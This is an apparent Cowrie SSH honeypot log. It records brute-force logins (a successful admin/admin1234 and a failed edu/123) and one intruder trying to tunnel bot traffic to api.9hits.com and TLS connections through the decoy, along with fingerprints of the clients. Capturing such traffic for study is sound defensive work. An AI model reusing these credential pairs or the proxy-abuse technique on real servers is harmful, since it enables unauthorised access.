{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:44.236127Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:44.667598Z","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:44.828557Z","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:45.102209Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.6 EdgiOS/90.0.818.42 Mobile/17G68 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SVdjMWN2ezRJb2xFVjZ7cA%3D%3DjBhIUNeAaX3wz%2FXw9CwveC%2BJsjotDclagQ0xMwfGhSLLk29gMpAfUwFGT%2BM4mYtKKmfPAR6wTcWeSY6bSZg4VPA%2B9N83Elmeoo9secrls3hDx49KJrv7zaEl%2BhJzoGDX0L1BuHha5ITih6ZE7nHWox9WvkG0L%2BQT7KHBdfBQD3W8q3rGL%2Fe8JXP39zqiZ5iqxWxus6uqYX%2Bvoif6AusyysKS%2B1bgoiRNmhNWnnSCmSb0w1DYBAXibtJx0eYT%2FfSpWrPyAw3XAVsWqR7SrbVoeH%2BReKJW%2Flp9iq02T8WVvSjKuNXOX%2BU68FntB76kXPrDy6bAUKeipRPls%2ByFojJf1NaN0kGRq87MQ45OmO82hYxdWoDci6WnFrRElaN7TpwUmkFsc%2BshkJxGO1KrY4J6Z2xDsMHFjg%2F1ZyY8jbyL8UhK1%2F1mJSxCgSjruQ4QhN7cg2PfjEYVxN60w4yvZMUv8P3L%2B6qQv4%2F4lAXtyNVLvRP8Ybj4k72Ux5FOrqplsxQ2fm%2FJQMXCBOSa95kXj3oiq6mdXazJIEXyPt%2Fo54uDeZyUWoUT4OqfcVrP9c%2F3CskEpDj5RCLX%2F8Ku50IrZOu33U17TcL1GrKH%2BBSml6IJ1C3h2F407MYls7x2tBvxC5IM5tcS8pW9pkHD7u1KJMh%2FASSbtXed%2FhRWiVcnYpg2shS9%2BKl85sA0knm3%2F5XtS9S4TiL2qN0O%2Bxl6Ciyxn7z5xf66VCGevvSz3TE90RRqQnTRJDnVs%2Bv60omc%2B3jx1dsP2qwgK38Sdu0Gkq%2FMFpU3RaO3HQnYcobCEWGZPtDqnmltt4eFfAEd%2BPJ%2F2v8P8tAi%2FYZtRxcIpkGju4nVHG1r%2BDYDSYMmr5xXB%2BzrXW98Ew4TxBGuSuYBcPs%2BK7QfxeZ1zmEojmqdKwJqPUoXg9YjRHdKxHjrkHufoIbRbFj1y%2B7WS0oL9Vgm1SS9A34uK7u4rr0fPnyTpZWccFdzIwzTA6Bv6yfFYYl2iaoWriTmGsd9coZLXIOfh1pNu47G7QmmEQQ3TLm6kErvcslBMp7X1i%2BysGkBoLxktNXPlZXwnQ0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.6 EdgiOS/90.0.818.42 Mobile/17G68 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SVdjMWN2ezRJb2xFVjZ7cA%3D%3DjBhIUNeAaX3wz%2FXw9CwveC%2BJsjotDclagQ0xMwfGhSLLk29gMpAfUwFGT%2BM4mYtKKmfPAR6wTcWeSY6bSZg4VPA%2B9N83Elmeoo9secrls3hDx49KJrv7zaEl%2BhJzoGDX0L1BuHha5ITih6ZE7nHWox9WvkG0L%2BQT7KHBdfBQD3W8q3rGL%2Fe8JXP39zqiZ5iqxWxus6uqYX%2Bvoif6AusyysKS%2B1bgoiRNmhNWnnSCmSb0w1DYBAXibtJx0eYT%2FfSpWrPyAw3XAVsWqR7SrbVoeH%2BReKJW%2Flp9iq02T8WVvSjKuNXOX%2BU68FntB76kXPrDy6bAUKeipRPls%2ByFojJf1NaN0kGRq87MQ45OmO82hYxdWoDci6WnFrRElaN7TpwUmkFsc%2BshkJxGO1KrY4J6Z2xDsMHFjg%2F1ZyY8jbyL8UhK1%2F1mJSxCgSjruQ4QhN7cg2PfjEYVxN60w4yvZMUv8P3L%2B6qQv4%2F4lAXtyNVLvRP8Ybj4k72Ux5FOrqplsxQ2fm%2FJQMXCBOSa95kXj3oiq6mdXazJIEXyPt%2Fo54uDeZyUWoUT4OqfcVrP9c%2F3CskEpDj5RCLX%2F8Ku50IrZOu33U17TcL1GrKH%2BBSml6IJ1C3h2F407MYls7x2tBvxC5IM5tcS8pW9pkHD7u1KJMh%2FASSbtXed%2FhRWiVcnYpg2shS9%2BKl85sA0knm3%2F5XtS9S4TiL2qN0O%2Bxl6Ciyxn7z5xf66VCGevvSz3TE90RRqQnTRJDnVs%2Bv60omc%2B3jx1dsP2qwgK38Sdu0Gkq%2FMFpU3RaO3HQnYcobCEWGZPtDqnmltt4eFfAEd%2BPJ%2F2v8P8tAi%2FYZtRxcIpkGju4nVHG1r%2BDYDSYMmr5xXB%2BzrXW98Ew4TxBGuSuYBcPs%2BK7QfxeZ1zmEojmqdKwJqPUoXg9YjRHdKxHjrkHufoIbRbFj1y%2B7WS0oL9Vgm1SS9A34uK7u4rr0fPnyTpZWccFdzIwzTA6Bv6yfFYYl2iaoWriTmGsd9coZLXIOfh1pNu47G7QmmEQQ3TLm6kErvcslBMp7X1i%2BysGkBoLxktNXPlZXwnQ0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:45.105291Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:45.328050Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x0316\\x8b\\xafh\\xe4\\x82\\xeb\\x14\\xb9\\x92\\x06\\xfa\\xedo\\xd2C\\x91`\\xc8&\\x8dl\\xc1\\xfa\\xbc\\xc0\\xf2\\\\)\\x11h D\\xa8c\\xf9e\\x9d%\\x9b\\xa0<\\xaa=\\xbf<\\xad\\xd0\\xcd^\\xac\\']x\\xb7\\x14z\\x07HME8\\xc0\\xa6\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 %\\x92B\"\\xe7\\xe7\\'\\xbe\\x96\\x92\\xc1I9\\x99m2\\x0c\\x18\\x87t\\xee\\xc6\\x84\\x91bN?\\x06c%a,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x0316\\x8b\\xafh\\xe4\\x82\\xeb\\x14\\xb9\\x92\\x06\\xfa\\xedo\\xd2C\\x91`\\xc8&\\x8dl\\xc1\\xfa\\xbc\\xc0\\xf2\\\\)\\x11h D\\xa8c\\xf9e\\x9d%\\x9b\\xa0<\\xaa=\\xbf<\\xad\\xd0\\xcd^\\xac\\']x\\xb7\\x14z\\x07HME8\\xc0\\xa6\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 %\\x92B\"\\xe7\\xe7\\'\\xbe\\x96\\x92\\xc1I9\\x99m2\\x0c\\x18\\x87t\\xee\\xc6\\x84\\x91bN?\\x06c%a,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:45.331631Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:45.781334Z","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:46.012170Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xef\\xe6\\xbf\\xb4\\x95\\x7fS^\\\\\\x9eJ\\x99\\x07P\\xf2m\\x93\\'\\xd2\\xf7>-\\xdd\\xdf,$\\\\\\xc5\\'M\\xa9\\xcf \\xf9\\x8a0i\\x1c\\xb6\\x9b\\xdc\\xb1b%6\\xa8\\xb1\\x89\\x1e\\x1en\\x9aB\\xbfIOyAE\\xec\\x9cnx\\xbf!\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcc\\'\\xe5\\x04cF3\\xd80\\xcd!\\xaf\\xda\\x94\\t\\x905\\xaaWO\\xf1\\xc3d\\x0f \\x00\\xcf\\x9dSH\\xac\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xef\\xe6\\xbf\\xb4\\x95\\x7fS^\\\\\\x9eJ\\x99\\x07P\\xf2m\\x93\\'\\xd2\\xf7>-\\xdd\\xdf,$\\\\\\xc5\\'M\\xa9\\xcf \\xf9\\x8a0i\\x1c\\xb6\\x9b\\xdc\\xb1b%6\\xa8\\xb1\\x89\\x1e\\x1en\\x9aB\\xbfIOyAE\\xec\\x9cnx\\xbf!\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcc\\'\\xe5\\x04cF3\\xd80\\xcd!\\xaf\\xda\\x94\\t\\x905\\xaaWO\\xf1\\xc3d\\x0f \\x00\\xcf\\x9dSH\\xac\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:46.015692Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:46.336037Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edu","password":"123","message":"login attempt [edu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:46.657859Z","src_ip":"91.92.40.36","session":"80f546a7af21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:48.855317Z","src_ip":"91.92.40.36","session":"80f546a7af21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30208,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d967a34505a","protocol":"ssh","message":"New connection: 91.92.40.36:30208 (159.203.135.109:22) [session: 8d967a34505a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:50.701662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:51.632237Z","src_ip":"91.92.40.36","session":"8d967a34505a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:51.635740Z","src_ip":"91.92.40.36","session":"8d967a34505a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":59077,"dst_ip":"10.17.0.5","dst_port":22,"session":"854d5e28b40e","protocol":"ssh","message":"New connection: 113.164.152.20:59077 (10.17.0.5:22) [session: 854d5e28b40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:51.715641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:51.720334Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
